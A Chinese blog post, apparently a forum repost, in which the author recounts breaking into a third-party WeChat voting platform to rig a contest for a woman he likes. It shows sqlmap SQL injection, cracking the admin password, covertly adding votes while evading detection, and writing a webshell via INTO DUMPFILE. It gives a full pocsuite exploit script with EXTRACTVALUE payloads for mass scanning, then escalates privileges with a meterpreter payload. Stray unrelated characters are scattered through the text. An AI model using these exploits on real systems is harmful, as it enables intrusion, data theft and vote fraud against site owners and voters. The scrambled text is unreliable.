【野驢原創(chuàng)】刷票之風云再起——看我如何開啟上帝視角

來源;http://bbs.ichunqiu.com/thread-10123-1-1.html?from=ch

0x01 前言

本來之前寫了很多前言了凸丸,可是昨天早晨發(fā)生了一件事,我打算重新寫前言,小伙伴們谷暮,小板凳準備好,我的前言是這樣的:滿屏都是王寶強盛垦,真誠提醒忘掉他們昨日的誓言湿弦。李晨說會一直保護張馨予,謝霆鋒說不介意張柏芝的過去腾夯,文章說這輩子最驕傲的是馬伊琍……人有時真的是很善變的動物颊埃,真正永恒不變的只有

你挖或不挖,漏洞就在那里

全心全意為你陪伴著你

很多盆友說不會再愛了蝶俱,但我想說班利,女神還是得追的,萬一她瞎呢榨呆。所以罗标,書接上回,和女神聊天聊起來給基友孩子刷票的事积蜻,她一下就來勁了闯割,說正好她也在參加一個投票活動,能不能幫她刷票啊竿拆,如果得第一宙拉,有特殊獎勵哦,特殊獎勵(做癡迷狀)……

0x02 滲透測試

0x021 信息收集

投過手機瀏覽投票頁面丙笋,發(fā)現(xiàn)是第三方程序谢澈,而非微信官方投票系統(tǒng),那就能繼續(xù)向前走御板,

并且都沒微信端驗證锥忿,在電腦上可以直接打開,隱隱覺得有戲稳吮。

手機抓包投票數(shù)據(jù)缎谷,根據(jù)上次刷票的經驗,有可能下圖中標識的兩個id為驗證項灶似,也就是說,要想達到刷票目的瑞你,需要大量openid酪惭,后續(xù)事實證明如此,但我們今天刷票更精彩者甲,各位客官春感,且聽我慢慢道來。

將url除域名意外的部分刪掉看看主頁是個什么樣子,當我看到登錄界面時鲫懒,我心中的猛虎已開始細嗅薔薇嫩实。

0x022 SQL注入

平時我已經習慣了瀏覽網頁時開著被動注入檢測工具(點這里url),可這次卻沒用到窥岩,因為工具是有延時的甲献,沒有手工來得快。說來你們可能不信颂翼,看到第一張圖我標示的那個搜索框了嗎晃洒?當我輸入一個單引號時,竟然報錯了朦乏,這也許就是滲透經驗吧球及。

果斷用burp抓取搜索包,給sqlmap檢測

[AppleScript]純文本查看復制代碼

?

1

Python sqlmap.py –r post.txt –dbs

經過漫長的等待呻疹,檢測結果出來了吃引,有兩個參數(shù)存在注入,分別為id和token

經過漫長的分析(分析表結構刽锤,n多表际歼,此處省略1萬字,滲透是體力活肮美丁)鹅心,終于拿到了管理員的用戶名和密碼散列還有QQ。

花了1毛錢最終破解了密碼纺荧,為了女神旭愧,值!

0x023進后臺加票

用破解的用戶名密碼成功登陸后臺宙暇,此時我內心的猛虎已開始咆哮输枯。

那還等什么,看看怎么加票吧占贫!點“選手設置”桃熄,看到了女神,排名還比較靠后型奥。點“投票選項管理”瞳收,加減票選項出現(xiàn)了,是的厢汹,既可以加票也可以檢票

有的同學可能會問了螟深,那這投票豈不是管理員說了算?想讓誰第一就讓誰第一烫葬?沒錯界弧,管理員具有“上帝模式”(為什么加引號凡蜻?因為我才是真正的上帝!)垢箕,不僅如此划栓,還有更扯淡的,那就是主頁上的瀏覽量条获、投票量和報名數(shù)都可以在后臺設置忠荞。我好像知道的有點多了。

為了不讓管理員發(fā)覺月匣,我分數(shù)次將女神頂?shù)搅饲斑呑耆鳎霈F(xiàn)了新問題,這套系統(tǒng)的目的就是微信圈粉锄开,如果關注公眾號投票后又取消素标,那么所投票數(shù)是會被自動減掉的,并且后臺會記錄所有投票的記錄數(shù)萍悴。

也就是說头遭,如果不在后臺加票,那么總記錄數(shù)=總票數(shù)+減去的票數(shù)癣诱,但如果我在后臺直接加票计维,會使得總記錄數(shù)<總票數(shù),管理員就有理由認為有人進后臺加票了撕予。那怎么辦鲫惶?

理了一下思路發(fā)現(xiàn)有兩條路可走,

第一條路实抡,利用刷票的方法滿足以上等式條件欠母,可刷票需要大量openid,哪里去弄那么多openid吆寨?再像上次那樣XSS打赏淌?還不一定有XSS,即使有啄清,時間成本太高六水,也刷不了幾票,但是(重讀)辣卒,系統(tǒng)竟然很貼心的為我們準備好了所有投過票用戶的openid掷贾,還支持導出excle,

但通過實踐添寺,可以成功刷票并且滿足以上條件(具體過程限于篇幅不表胯盯,可參考上篇文章url),可是又有了新的問題计露,就是你把別人的openid用了,人家再投票回提示已投票,不能再投了票罐,相當于我把所有選手的支持者都拉到了我女神的石榴裙下叉趣,那人家能樂意嗎?萬一有好事者聯(lián)系管理員该押,那九前功盡棄了疗杉,動靜太大了,正所謂“善攻者蚕礼,飛于九天之上烟具;善守者,遁于九地之下奠蹬〕”,此時我們就應該“遁于九地之下”囤躁,來看第二條路……

第二條路冀痕,就是取得webshell或者數(shù)據(jù)庫權限,直接修改數(shù)據(jù)庫中的記錄數(shù)狸演,使得后臺加票后也滿足以上等式言蛇。怎么?有些不耐心了宵距?想直接加票就走人腊尚?不,我們要的是Perfect.

0x024 Get Webshell

我們來總結下满哪,看看我們手里有多少料婿斥,你妹的,貌似我們除了一個后臺翩瓜,一個注入點受扳,什么都沒有。后臺經過漫長的檢測(累巴玫勘高!頭懸梁,錐刺股坟桅,大喊三聲“女神”华望,接著干),并沒有上傳漏洞仅乓,并沒有命令執(zhí)行赖舟,并沒有CSRF,并沒有……總之后臺沒能getshell夸楣。此時我心中的猛虎酣睡了”鲎ィ現(xiàn)在只有注入點了子漩,看看是什么權限吧,還算有點欣慰石洗,是root幢泼。(這一天天,大起大落讲衫,小心臟都受不了)

那快用sqlmap寫個webshell試試吧缕棵,寫shell需要絕對路徑,哪里找涉兽?剛開始的單引號報錯就爆出了絕對路徑招驴,從后臺照片處找到了照片上傳路徑,這樣就構造出了有寫權限的絕對路徑枷畏。

竟然失敗了别厘。

說實話,當時我都快哭了矿辽,可是一想到女神丹允,再一次目光堅定的望向了遠方……那我看看能不能查出數(shù)據(jù)庫用戶名密碼,然后幸運的話可以外聯(lián)一下袋倔,事實證明雕蔽,我特么想多了,又失敗了宾娜。

既然工具不行批狐,那就手工寫shell把,還好前塔,那我們直接經典的selectinto outfile導出webshell不就行了嚣艇,用sqlmap的sql-shell試了下,總提示條件不滿足华弓。

還好注入點支持union聯(lián)合查詢食零,直接執(zhí)行

[AppleScript]純文本查看復制代碼

?

1

Select,2,3,4intooutfile d:\\www\\uploads\\c.php

還是失敗了(絕對路徑用雙斜杠是因為在執(zhí)行時會將一個\轉義為空)。好像是超過了長度寂屏,這個時候看到了這篇帖子點我贰谣,我可以把一句話拆分再hex啊

還是失敗了,查了下原因迁霎。

mysql dumpfile與outfile函數(shù)的區(qū)別 SELECT into outfile :導出到一個txt文件吱抚,可以導出每行記錄的,這個很適合導庫 SELECT into dump:只能導出一行數(shù)據(jù)如果想把一個可執(zhí)行二進制文件用into outfile函數(shù)導出考廉,導出后秘豹,文件會被破壞因為into outfile函數(shù)會在行末端寫新行,更致使的是會轉義換行符昌粤,這樣2進制可執(zhí)行文件就會被破壞這時既绕,我們能用into dumpfile導出一個完整能執(zhí)行的2進制文件啄刹,它不對任何列或行進行終止,也不執(zhí)行任何轉義處理總結: into outfile:導出內容 into dumpfile:導出二進制文件

把outfile換成dumpfile岸更,終于成功getshell鸵膏,真是黃天不負有心人啊膊升。

后來提權后測試發(fā)現(xiàn)怎炊,intooutfile會把一句話導出為這樣

看到沒有,中間多了空格廓译。

終于可以放心大膽的給女神加票了评肆,最終在我的幫助之下,女神取得了第一非区,特殊獎勵就是一個大大的擁抱瓜挽,88塊的紅包和她崇拜的眼神,我是說真的J

0x025 編寫poc批量驗證

刷票任務完成了征绸,但是我們學習的腳步不能停久橙,我發(fā)現(xiàn)這套投票系統(tǒng)比較通用,通過pentest(url)的谷歌工具發(fā)現(xiàn)網上有大量部署管怠,何不寫個poc批量驗證呢淆衷,我習慣了用pocsuit寫poc,大家可以選擇其他框架渤弛。這里我直接給出代碼

[Python]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97#!/usr/bin/env python

# coding: utf-8

importre

importurlparse

importurllib

importurllib2

frompocsuite.netimportreq

frompocsuite.pocimportPOCBase, Output

frompocsuite.utilsimportregister

classTestPOC(POCBase):

vulID='62274'# ssvid

version='1'

author=['野驢']

vulDate='2016-08-05'

createDate='2016-08-05'

updateDate='2016-08-05'

references=['']

name='weilianyun_toupiao_sql_inj_PoC'

appPowerLink='http://www..cn'

appName=''

appVersion='2016'

vulType='SQL Injection'

desc='''

投票管理系統(tǒng)祝拯,sql注入,報錯她肯,聯(lián)合查詢佳头,時間盲注

'''

samples=['http://www..cn/']

def_attack(self):

result={}

#漏洞頁面

exploit='/***&token=Eioa5C5oj3S32qhH&id='

#利用的payload

payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,0x7170717071,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,21)),0x716a626a71))'

#構造訪問地址

vulurl=self.url+exploit+payload

#提取信息的正則表達式

parttern='.*qpqpq(.*)qjbjq.*'

#自定義的HTTP頭

httphead={

'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Connection':'keep-alive',

'Content-Type':'application/x-www-form-urlencoded'

}

#訪問

resp=req.get(url=vulurl,headers=httphead,timeout=50)

#判斷特征字符串

if'XPATH syntax error'inresp.content:

#提取信息

match=re.findall(parttern,resp.content,re.I|re.M)

ifmatch:

result['DbInfo']={}

#記錄數(shù)據(jù)庫用戶名

result['DbInfo']['UserName']=match[0]

returnself.parse_attack(result)

def_verify(self):

#利用漏洞計算md5(3.1415)

result={}

#漏洞頁面

exploit='/***&token=Eioa5C5oj3S32qhH&id='

#利用的payload

payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,MD5(3.1415)))'

#payload='1 AND? extractvalue(1, concat(0x5c,md5(3.1415)))'

#md5(3.1415)的值

md5value='63e1f04640e83605c1d177544a5a0488'

#構造訪問地址

vulurl=self.url+exploit+payload

#自定義的HTTP頭

httphead={

'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Connection':'keep-alive',

'Content-Type':'application/x-www-form-urlencoded'

}

#訪問

resp=req.get(url=vulurl,headers=httphead,timeout=50)

#判斷特征字符串(由于extractvalue有長度限制,這里只比較前30位)

ifmd5value[:30]inresp.content:

#漏洞驗證成功

result['VerifyInfo']={}

result['VerifyInfo']['URL']=self.url+exploit

result['VerifyInfo']['Payload']=payload

returnself.parse_attack(result)

defparse_attack(self, result):

output=Output(self)

ifresult:

output.success(result)

else:

output.fail('Internet nothing returned')

returnoutput

register(TestPOC)

這里我說下attack模式下晴氨,正則獲取數(shù)據(jù)庫用戶的方法康嘉,通過測試發(fā)現(xiàn)投送payload(sqlmap –v 3獲得)后,數(shù)據(jù)庫用戶是包含在兩個特殊字符串中間的

所以我們的正則可以這么寫

[AppleScript]純文本查看復制代碼

?

1

.*qpqpq(.*)qjbjq.*

來執(zhí)行下

導入剛才pentest爬取的域名文件

[AppleScript]純文本查看復制代碼

?

1

2

3Pcs>config

Pcs.config>urlFileurl.txt

pcs>attack

0x026 提權

提權就比較簡單了籽前,先msfVENOM生成payload

webshell直接下載公網metasploit的payload亭珍,執(zhí)行后,獲得meterpreter交互

0x03 結束語

實在寫不動了聚假,但是我想說块蚌,滲透雖然是個體力加腦力活,但因為我喜歡膘格,所以痛并快樂著峭范。回顧下我們滲透的過程

信息收集->注入管理員信息->進后臺->getwebshell->合法加票->poc批量驗證->提權

明天又會有什么趣聞發(fā)生呢瘪贱?管他呢纱控,我退出娛樂圈很久了辆毡。

首發(fā)i春秋

野驢原創(chuàng),值得擁有甜害!

聲明:以上文章僅作學習交流之用舶掖,如讀者因閱讀本文而做出不恰當舉動,純屬個人行為尔店,與本文作者無關眨攘。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市嚣州,隨后出現(xiàn)的幾起案子鲫售,更是在濱河造成了極大的恐慌,老刑警劉巖该肴,帶你破解...
    沈念sama閱讀 216,470評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件情竹,死亡現(xiàn)場離奇詭異,居然都是意外死亡匀哄,警方通過查閱死者的電腦和手機秦效,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,393評論 3 392
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來涎嚼,“玉大人阱州,你說我怎么就攤上這事≈郑” “怎么了贡耽?”我有些...
    開封第一講書人閱讀 162,577評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長鹊汛。 經常有香客問我蒲赂,道長,這世上最難降的妖魔是什么刁憋? 我笑而不...
    開封第一講書人閱讀 58,176評論 1 292
  • 正文 為了忘掉前任滥嘴,我火速辦了婚禮,結果婚禮上至耻,老公的妹妹穿的比我還像新娘若皱。我一直安慰自己,他們只是感情好尘颓,可當我...
    茶點故事閱讀 67,189評論 6 388
  • 文/花漫 我一把揭開白布走触。 她就那樣靜靜地躺著,像睡著了一般疤苹。 火紅的嫁衣襯著肌膚如雪互广。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,155評論 1 299
  • 那天,我揣著相機與錄音惫皱,去河邊找鬼像樊。 笑死,一個胖子當著我的面吹牛旅敷,可吹牛的內容都是我干的生棍。 我是一名探鬼主播,決...
    沈念sama閱讀 40,041評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼媳谁,長吁一口氣:“原來是場噩夢啊……” “哼涂滴!你這毒婦竟也來了?” 一聲冷哼從身側響起韩脑,我...
    開封第一講書人閱讀 38,903評論 0 274
  • 序言:老撾萬榮一對情侶失蹤氢妈,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后段多,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,319評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡壮吩,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,539評論 2 332
  • 正文 我和宋清朗相戀三年进苍,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片鸭叙。...
    茶點故事閱讀 39,703評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡觉啊,死狀恐怖,靈堂內的尸體忽然破棺而出沈贝,到底是詐尸還是另有隱情杠人,我是刑警寧澤,帶...
    沈念sama閱讀 35,417評論 5 343
  • 正文 年R本政府宣布宋下,位于F島的核電站嗡善,受9級特大地震影響,放射性物質發(fā)生泄漏学歧。R本人自食惡果不足惜罩引,卻給世界環(huán)境...
    茶點故事閱讀 41,013評論 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望枝笨。 院中可真熱鬧袁铐,春花似錦、人聲如沸横浑。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,664評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽徙融。三九已至洒缀,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間张咳,已是汗流浹背帝洪。 一陣腳步聲響...
    開封第一講書人閱讀 32,818評論 1 269
  • 我被黑心中介騙來泰國打工似舵, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人葱峡。 一個月前我還...
    沈念sama閱讀 47,711評論 2 368
  • 正文 我出身青樓砚哗,卻偏偏與公主長得像,于是被迫代替她去往敵國和親砰奕。 傳聞我的和親對象是個殘疾皇子蛛芥,可洞房花燭夜當晚...
    茶點故事閱讀 44,601評論 2 353

推薦閱讀更多精彩內容

  • sqlmap用戶手冊 說明:本文為轉載,對原文中一些明顯的拼寫錯誤進行修正军援,并標注對自己有用的信息仅淑。 ======...
    wind_飄閱讀 2,044評論 0 5
  • Spring Cloud為開發(fā)人員提供了快速構建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務發(fā)現(xiàn)胸哥,斷路器涯竟,智...
    卡卡羅2017閱讀 134,651評論 18 139
  • 一套實用的滲透測試崗位面試題,你會嗎空厌? 1.拿到一個待檢測的站庐船,你覺得應該先做什么? 收集信息 whois嘲更、網站源...
    g0閱讀 4,830評論 0 9
  • 作者:Gilberto Najera-Gutierrez譯者:飛龍協(xié)議:CC BY-NC-SA 4.0 簡介 這章...
    三月行者閱讀 1,890評論 2 7
  • 冷風中你走進一家拉面館筐钟,迎面而來的大鍋里的熱氣讓你眼鏡瞬間蒙上一層霧氣,你摘下眼鏡用衣服邊隨便擦了擦赋朦,準備大快朵頤...
    你知不知道我是誰閱讀 243評論 0 0